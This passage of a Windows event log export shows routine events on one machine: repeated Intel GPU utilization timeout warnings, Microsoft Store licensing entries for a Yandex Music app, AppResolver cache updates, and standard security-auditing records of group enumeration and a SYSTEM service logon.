08:57:17.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:18.165\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:18.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:18.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:19.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:19.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:20.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:20.723\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:21.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:21.723\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:22.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.065\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.285\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:23.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:24.398\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.400\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:25.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:26.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:26.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.064\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.161\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2664\n\tProcess Name:\t\tC:\\Windows\\explorer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:27.163\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2664\n\tProcess Name:\t\tC:\\Windows\\explorer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:27.289\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:27.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:28.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.626\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:29.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:30.186\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:30.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:31.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:31.617\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.647\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.657\t28117\tShortcut for application Word with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x11 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.657\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.659\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:57:31.667\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:31.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:33.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:34.191\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:35.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:36.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:36.856\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:37.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:38.194\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:38.527\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:39.975\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.641\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:40.975\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:41.293\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:41.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:42.851\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:43.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:44.296\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:44.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.304\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.751\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:45.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:46.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.085\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:47.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:48.090\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:48.762\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:49.208\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:49.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:50.452\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.454\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.455\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.455\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(7) tid(7a0) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.457\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(8) tid(7a0) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.458\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.459\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.462\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.470\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"0000021F831D3820: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8011\t0x21f83133e68: 13532: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8001\t\"0000021F831D3820: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.471\t8012\t0x21f831d3840: 13532: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.509\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:50.509\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:57:50.509\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity 